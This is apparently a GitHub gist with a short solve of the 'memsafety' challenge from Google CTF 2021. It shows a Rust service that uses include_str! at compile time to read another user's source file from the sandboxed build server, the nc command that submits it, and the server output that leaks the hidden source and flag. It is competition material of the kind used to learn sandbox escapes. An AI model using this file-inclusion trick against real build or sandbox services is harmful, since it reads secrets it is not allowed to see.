Skip to content

Instantly share code, notes, and snippets.

@fogti
Created July 19, 2021 12:31
Show Gist options
  • Save fogti/b083f5156fdce9a0da892ab52127830e to your computer and use it in GitHub Desktop.
Save fogti/b083f5156fdce9a0da892ab52127830e to your computer and use it in GitHub Desktop.
A pathetic solve of the memsafety challenge of Google CTF 2021 (TEAM0001)
use prelude::{Service, Box};
pub struct State;
impl State {
pub fn new() -> Box<dyn Service> {
Box::new(Self)
}
}
impl Service for State {
fn handle(&mut self, _: &str) {
// the magic happens here
prelude::log!("{}", core::r#include_str!("/home/user/sources/user-1/src/lib.rs"));
}
}
EOF
$ nc memsafety.2021.ctfcompetition.com 1337 < tmp2.rs
== proof-of-work: disabled ==
===== Enter partial source for edge compute app (EOF to finish):
===== Input accepted!
===== Writing source to disk...
===== Building edge compute app...
Compiling user-0 v0.1.0 (/home/user/sources/user-0)
Compiling server v0.1.0 (/home/user/sources/server)
Finished dev [unoptimized + debuginfo] target(s) in 0.39s
===== Build complete!
===== Validating user input before compiling...
===== Testing edge compute app...
/*
Copyright 2021 Google LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#![no_std]
use proc_sandbox::sandbox;
#[sandbox]
pub mod user {
static FLAG: &'static str = "CTF{s4ndb0x1n9_s0urc3_1s_h4rd_ev3n_1n_rus7}";
use prelude::{mem::ManuallyDrop, Service, Box, String};
pub struct State(ManuallyDrop<String>);
impl State {
pub fn new() -> Box<dyn Service> {
Box::new(State(ManuallyDrop::new(String::from(FLAG))))
}
}
impl Service for State {
fn handle(&mut self, _: &str) {}
}
}
===== Test complete!
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment